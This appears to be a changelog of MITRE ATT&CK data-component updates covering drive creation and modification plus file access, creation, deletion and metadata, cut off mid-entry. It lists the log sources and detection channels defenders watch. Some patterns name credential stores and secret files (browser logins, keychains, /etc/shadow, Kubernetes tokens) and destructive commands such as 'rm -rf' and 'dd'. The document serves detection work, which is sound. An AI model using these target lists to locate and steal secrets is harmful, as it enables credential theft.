modified	2025-04-25 14:39:55.892000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0042] Drive Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0042', 'external_id': 'DC0042'}]
x_mitre_log_sources		[{'name': 'Drive', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'Kernel-PnP 410/400 device install, disk added'}, {'name': 'auditd:SYSCALL', 'channel': 'mknod,open,openat'}, {'name': 'macos:unifiedlog', 'channel': 'mounted\|appeared\|DA: disk* attached'}, {'name': 'WinEventLog:Microsoft-Windows-Partition/Diagnostic', 'channel': 'EventCode=1006'}, {'name': 'auditd:SYSCALL', 'channel': 'Removable media mount notification'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.diskarbitration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1006,10001'}, {'name': 'auditd:SYSCALL', 'channel': 'device event logs'}, {'name': 'linux:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + File Read'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'udev events or drive enumeration involving TinyPilot paths or device classes'}, {'name': 'linux:syslog', 'channel': 'Device attach logs containing TinyPilot/PiKVM identifiers'}, {'name': 'macos:unifiedlog', 'channel': 'Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'Kernel Device Events - USB Block Devices'}, {'name': 'maos:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + Process Trace + File Read'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=20001/20003'}, {'name': 'journald:systemd', 'channel': 'udisks2 or udevd logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "USBMSC"\''}, {'name': 'WinEventLog:System', 'channel': '20001-20003'}, {'name': 'linux:syslog', 'channel': "New HID device enumeration with type 'keyboard' followed by immediate input injection"}, {'name': 'macos:unifiedlog', 'channel': 'New IOUSB keyboard/HID device enumerated with suspicious attributes'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:36.536000+00:00	2025-10-21 15:14:37.342000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0046] Drive Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0046', 'external_id': 'DC0046'}]
x_mitre_log_sources		[{'name': 'Drive', 'channel': 'None'}, {'name': 'networkdevice:runtime', 'channel': 'Firmware image uploaded via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit disk write calls targeting raw devices'}, {'name': 'linux:syslog', 'channel': 'Block device write errors or unusual bootloader activity'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware image upload events via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write to EFI/boot partition sectors'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write activity targeting physical devices'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:35.797000+00:00	2025-10-22 19:03:17.198000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0
x_mitre_data_source_ref	x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065

iterable_item_added
STIX Field	Old value	New Value
x_mitre_domains		ics-attack

[DC0055] File Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0055', 'external_id': 'DC0055'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'm365:unified', 'channel': 'FileAccessed, MailboxAccessed'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, or stat of browser config files'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library//Safari or Chrome directories by non-browser processes'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'gcp:audit', 'channel': 'Write operations to storage'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS access logs'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File access attempt on /tmp/krb5cc_ or /tmp/krb5.ccache'}, {'name': 'macos:unifiedlog', 'channel': 'Kerberos framework calls to API:{uuid} cache outside normal process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'openat'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656, 4663'}, {'name': 'auditd:FILE', 'channel': '/home//.mozilla/firefox//logins.json OR /home//.config/google-chrome//Login Data'}, {'name': 'macos:unifiedlog', 'channel': '~/Library/Application Support/Google/Chrome//Login Data OR ~/Library/Application Support/Firefox//logins.json'}, {'name': 'auditd:SYSCALL', 'channel': 'open'}, {'name': 'auditd:FILE', 'channel': '/proc//mem read attempt'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670, 4663'}, {'name': 'auditd:PATH', 'channel': 'Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)'}, {'name': 'macos:unifiedlog', 'channel': 'Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145, 4663'}, {'name': 'linux:syslog', 'channel': 'auth.log or custom tool logs'}, {'name': 'fs:fsusage', 'channel': 'file'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open, flock, fcntl, unlink'}, {'name': 'fs:fsusage', 'channel': 'File Access Monitor'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive files'}, {'name': 'macos:unifiedlog', 'channel': 'file read of sensitive directories'}, {'name': 'esxi:hostd', 'channel': 'datastore file access'}, {'name': 'auditd:SYSCALL', 'channel': 'Unusual processes accessing or modifying cookie databases'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal process access to Safari or Chrome cookie storage'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH records referencing /dev/video'}, {'name': 'macos:endpointsecurity', 'channel': 'open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks'}, {'name': 'ebpf:syscalls', 'channel': 'container_file_activity'}, {'name': 'fs:fsusage', 'channel': 'Disk Activity Tracing'}, {'name': 'macos:keychain', 'channel': 'Access to Keychain DB or system.keychain'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/'}, {'name': 'macos:keychain', 'channel': '~/Library/Keychains, /Library/Keychains'}, {'name': 'm365:unified', 'channel': 'Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)'}, {'name': 'auditd:PATH', 'channel': 'open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)'}, {'name': 'macos:unifiedlog', 'channel': 'open: Access to /var/log/system.log or related security event logs'}, {'name': 'azure:activity', 'channel': 'CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows'}, {'name': 'esxi:hostd', 'channel': 'read: Access to sensitive log files by non-admin users'}, {'name': 'auditd:SYSCALL', 'channel': 'Processes reading credential or token cache files'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive file directories'}, {'name': 'esxi:hostd', 'channel': 'datastore/log file access'}, {'name': 'fs:fsusage', 'channel': 'filesystem activity'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Suspicious file execution on removable media path'}, {'name': 'auditd:PATH', 'channel': 'path'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive config or secret files'}, {'name': 'macos:unifiedlog', 'channel': 'open/read of .plist or .env files'}, {'name': 'ebpf:syscalls', 'channel': 'open/read on secret mount paths'}, {'name': 'CloudTrail:GetObject', 'channel': 'sensitive credential files in buckets or local image storage'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories'}, {'name': 'macos:unifiedlog', 'channel': 'read of user document directories'}, {'name': 'esxi:syslog', 'channel': 'guest OS outbound transfer logs'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Call Monitoring'}, {'name': 'esxi:hostd', 'channel': 'vSphere File API Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read: Access to /proc/self/status with focus on TracerPID field'}, {'name': 'fs:fsusage', 'channel': 'read/write'}, {'name': 'esxis:vmkernel', 'channel': 'Datastore Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read access to ~/.bash_history'}, {'name': 'macos:endpointsecurity', 'channel': 'open or read syscall to ~/.bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains/login.keychain-db'}, {'name': 'auditd:SYSCALL', 'channel': 'open,read'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem and process events'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read system calls to ~/.bash_history or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains or history files by terminal processes'}, {'name': 'auditd:SYSCALL', 'channel': 'read of /run/secrets or docker volumes by non-entrypoint process'}, {'name': 'macos:unifiedlog', 'channel': 'access to /Volumes/SharePoint or network mount'}, {'name': 'auditd:SYSCALL', 'channel': 'Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/Safari/Bookmarks.plist or recent files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read'}, {'name': 'macos:unifiedlog', 'channel': 'access to keychain database'}, {'name': 'auditd:PATH', 'channel': 'file read'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to cryptographic operations, module loading, and filesystem access patterns'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating access to system configuration files and environmental information sources'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open, es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes'}, {'name': 'auditd:SYSCALL', 'channel': 'open or read to browser cookie storage'}, {'name': 'fs:fsusage', 'channel': 'file open for known browser cookie paths'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, mount'}, {'name': 'fs:fsusage', 'channel': 'file reads/writes from /Volumes/'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file provider subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'file'}, {'name': 'kubernetes:audit', 'channel': 'GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server'}, {'name': 'auditd:SYSCALL', 'channel': 'Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey'}, {'name': 'fs:quarantine', 'channel': '/var/log/quarantine.log'}, {'name': 'desktop:file_manager', 'channel': 'nautilus, dolphin, or gvfs logs'}, {'name': 'linux:osquery', 'channel': '/proc//maps access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories (/etc, /home/)'}, {'name': 'macos:unifiedlog', 'channel': 'read/write of user documents prior to upload'}, {'name': 'esxi:hostd', 'channel': 'file copy or datastore upload via HTTPS'}, {'name': 'macos:unifiedlog', 'channel': 'open/read access to private key files (id_rsa, .pem, .p12)'}, {'name': 'linux:osquery', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'fs:fileevents', 'channel': 'File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)'}, {'name': 'auditd:FS', 'channel': 'read: File access to /proc/modules or /sys/module/'}, {'name': 'macos:unifiedlog', 'channel': 'read: File access to /System/Library/Extensions/ or related kernel extension paths'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read on ~/.local/share/keepassxc/ OR ~/.password-store/'}, {'name': 'macos:unifiedlog', 'channel': '.opvault OR .ldb OR .kdbx'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:07.996000+00:00	2025-10-21 15:14:35.674000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0039] File Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0039', 'external_id': 'DC0039'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=11'}, {'name': 'auditd:SYSCALL', 'channel': 'creat'}, {'name': 'macos:unifiedlog', 'channel': 'file write'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Modification of .asar in /opt or ~/.config directories'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Modification of app.asar inside .app bundle'}, {'name': 'auditd:FILE', 'channel': "File creation with name starting with '.'"}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of browser extension .plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'open or creat syscalls targeting excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'file creation in AV exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'file creation/modification'}, {'name': 'macos:unifiedlog', 'channel': 'file write/create'}, {'name': 'esxi:vmkernel', 'channel': 'file write'}, {'name': 'snmp:syslog', 'channel': 'firmware write/log event'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions'}, {'name': 'fs:fsevents', 'channel': 'Create in /Users//Downloads or /private/var/folders/ with quarantine attribute'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS file creation'}, {'name': 'auditd:SYSCALL', 'channel': 'write/open, FIM audit'}, {'name': 'fs:fsusage', 'channel': 'open/write/exec calls'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .plist under /Library/Managed Preferences/'}, {'name': 'fs:fileevents', 'channel': 'creat'}, {'name': 'fs:fsusage', 'channel': 'disk activity on /Library/LaunchAgents or LaunchDaemons'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Write to ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'creation of ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib files in monitored directories'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'linux:Sysmon', 'channel': 'New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch'}, {'name': 'macos:unifiedlog', 'channel': 'New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children'}, {'name': 'auditd:FILE', 'channel': 'create: New file created in system binaries or temp directories'}, {'name': 'macos:unifiedlog', 'channel': 'File created in ~/Library/LaunchAgents or executable directories'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: File creation or deletion involving critical stored data'}, {'name': 'macos:unifiedlog', 'channel': 'Process wrote large .mov/.mp4 in user temp/hidden dirs'}, {'name': 'macos:unifiedlog', 'channel': 'logd:file write'}, {'name': 'fs:fsusage', 'channel': 'File IO'}, {'name': 'auditd:SYSCALL', 'channel': 'creat, open, write on /etc/systemd/system and /usr/lib/systemd/system'}, {'name': 'macos:unified', 'channel': 'File creation'}, {'name': 'macos:unifiedlog', 'channel': 'Attachment files written to ~/Downloads or temporary folders'}, {'name': 'fs:fsusage', 'channel': 'file activity'}, {'name': 'CloudTrail:PutObject', 'channel': 'PutObject'}, {'name': 'auditd:PATH', 'channel': 'Creation of files with extensions .sql, .csv, .sqlite, especially in user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Writes of .sql/.csv/.xlsx files to user documents/downloads'}, {'name': 'auditd:PATH', 'channel': 'New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install'}, {'name': 'auditd:SYSCALL', 'channel': 'write, open, or rename to /etc/systemd/system/.service'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories'}, {'name': 'fs:fsusage', 'channel': 'file open/write'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users//(Downloads\|Desktop\|Library//Containers\|Library/Group Containers) AND extension in SuspiciousExtensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open/create/rename: name in (/home//Downloads/\|/tmp/\|/run/user/\|/media/) AND ext in SuspiciousExtensions'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of archive files in /tmp, /var/tmp, or user home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'File Events'}, {'name': 'auditd:SYSCALL', 'channel': 'File creations of .qcow2, .vdi, .vmdk outside standard VM directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of postinstall scripts within .pkg or .mpkg contents'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang'}, {'name': 'macos:unifiedlog', 'channel': 'create: New files in /tmp or ~/Library/Application Support/ with executable or script extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write, unlink'}, {'name': 'WinEventLog:Sysmon', 'channel': 'File creation of suspicious scripts/binaries in temporary directories'}, {'name': 'macos:unifiedlog', 'channel': 'File creation of unsigned binaries/scripts in user cache or download directories'}, {'name': 'auditd:SYSCALL', 'channel': 'File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds'}, {'name': 'fs:fsusage', 'channel': 'create: Attachment file creation in ~/Library/Mail directories'}, {'name': 'WinEventLog:Microsoft-Windows-Shell-Core', 'channel': 'New startup folder shortcut or binary placed in Startup directory'}, {'name': 'auditd:SYSCALL', 'channel': 'write or create file after .bash_history access'}, {'name': 'auditd:SYSCALL', 'channel': 'new file created in /var/www/html, /srv/http, or similar web root'}, {'name': 'fs:launchdaemons', 'channel': 'file_create'}, {'name': 'auditd:PATH', 'channel': 'mount target path within /proc/'}, {'name': 'macos:fsevents', 'channel': '/Library/StartupItems/, ~/Library/LaunchAgents/'}, {'name': 'fs:fsusage', 'channel': 'write or chmod to ~/Library/LaunchAgents/.plist'}, {'name': 'auditd:PATH', 'channel': 'creation of .so files in non-standard directories (e.g., /tmp, /home/)'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files with anomalous headers and entropy levels in /tmp or user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of files with anomalous headers and entropy values'}, {'name': 'auditd:SYSCALL', 'channel': 'Access or modification to /lib/modules or creation of .ko files'}, {'name': 'fs:fsevents', 'channel': 'Directory events (kFSEventStreamEventFlagItemCreated)'}, {'name': 'gcp:workspaceaudit', 'channel': 'drive.activity logs'}, {'name': 'fs:fileevents', 'channel': 'create/write/rename in user-writable paths'}, {'name': 'auditd:PATH', 'channel': 'WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open,create'}, {'name': 'auditd:FILE', 'channel': 'Creation of hidden files (.) in sensitive directories (/etc, /var, /usr/bin)'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip or .dmg files in user-accessible or temporary directories'}, {'name': 'fs:fsusage', 'channel': 'file write'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open'}, {'name': 'macos:unifiedlog', 'channel': 'file create or modify in /etc/emond.d/rules or /private/var/db/emondClients'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename,write'}, {'name': 'macos:unifiedlog', 'channel': 'Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:18.072000+00:00	2025-10-21 19:32:14.744000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

[DC0040] File Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0040', 'external_id': 'DC0040'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat on service binaries or data targets'}, {'name': 'auditd:SYSCALL', 'channel': 'file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'esxi:shell', 'channel': 'shell history'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=23'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'esxi:hostd', 'channel': 'delete action'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, openat, write'}, {'name': 'macos:unifiedlog', 'channel': 'exec rm -rf\|dd if=/dev\|srm\|file unlink'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, rmdir'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, rename, open'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=23'}, {'name': 'fs:fsusage', 'channel': 'unlink, fs_delete'}, {'name': 'docker:daemon', 'channel': 'container file operations'}, {'name': 'esxi:hostd', 'channel': 'rm, clearlogs, logrotate'}, {'name': 'esxi:hostd', 'channel': 'Datastore file operations'}, {'name': 'macos:osquery', 'channel': 'CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat'}, {'name': 'WinEventLog:Microsoft-Windows-Backup', 'channel': 'Windows Backup Catalog deletion or catalog corruption'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/etc/fstab, /etc/systemd/*'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:21.434000+00:00	2025-10-21 15:14:36.450000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0059] File Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0059', 'external_id': 'DC0059'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'linux:osquery', 'channel': 'event-based'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Invalid/Unsigned image when developer tool launches newly installed binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt or yum/dnf transaction logs (install/update of build tools)'}, {'name': 'linux:osquery', 'channel': 'file_events, hash'}, {'name': 'macos:unifiedlog', 'channel': 'softwareupdated/homebrew/install logs, pkginstalld events'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI or Gatekeeper signature/notarization failures for newly installed dev components'}, {'name': 'auditd:SYSCALL', 'channel': 'Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/'}, {'name': 'linux:syslog', 'channel': 'Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp'}, {'name': 'macos:unifiedlog', 'channel': 'Detection of altered _VBA_PROJECT or PerformanceCache streams'}, {'name': 'EDR:file', 'channel': 'File Metadata Inspection (Low String Entropy, Missing PDB)'}, {'name': 'linux:osquery', 'channel': 'hash, elf_info, file_metadata'}, {'name': 'macos:osquery', 'channel': 'code_signing, file_metadata'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational log'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:syspolicyd'}, {'name': 'macos:unifiedlog', 'channel': 'File metadata updated with UF_HIDDEN flag'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15'}, {'name': 'auditd:PATH', 'channel': 'file path matches exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'path'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_file_rename_t or es_event_file_write_t'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'file write after sleep delay'}, {'name': 'esxi:vmkernel', 'channel': 'Upload of file to datastore'}, {'name': 'ebpf:syscalls', 'channel': 'Unexpected container volume unmount + file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'EDR:file', 'channel': 'File Metadata Analysis (PE overlays, entropy)'}, {'name': 'linux:osquery', 'channel': 'elf_info, hash, yara_matches'}, {'name': 'macos:osquery', 'channel': 'mach_o_info, file_metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Code signature validation fails or is absent post-binary modification'}, {'name': 'fs:filesystem', 'channel': 'Binary file hash changes outside of update/patch cycles'}, {'name': 'linux:osquery', 'channel': 'Read headers and detect MIME type mismatch'}, {'name': 'macos:unifiedlog', 'channel': 'Code signing verification failures or bypassed trust decisions'}, {'name': 'NSM:Flow', 'channel': 'Observed File Transfers'}, {'name': 'esxi:vmkernel', 'channel': 'Storage access and file ops'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'chmod or chown of hook files indicating privilege escalation or execution permission change'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem events'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar attribute removal commands'}, {'name': 'macos:unifiedlog', 'channel': 'Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2'}, {'name': 'linux:syslog', 'channel': 'application or system execution logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)'}, {'name': 'linux:syslog', 'channel': 'file permission modification events in kernel messages'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission or attribute changes'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission modifications'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to file or VM permission changes'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for file system permission modifications'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or invalid image for newly installed/updated binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals'}, {'name': 'macos:unifiedlog', 'channel': 'pkginstalld/softwareupdated/Homebrew install transactions'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI/Gatekeeper code signature or notarization failures'}, {'name': 'EDR:detection', 'channel': 'App reputation telemetry'}, {'name': 'gatekeeper/quarantine database', 'channel': 'LaunchServices quarantine'}, {'name': 'linux:osquery', 'channel': 'file_events.path'}, {'name': 'auditd:SYSCALL', 'channel': 'setuid or setgid bit changes'}, {'name': 'linux:osquery', 'channel': 'Filesystem modifications to trusted paths'}, {'name': 'fs:fsusage', 'channel': 'filesystem monitoring of 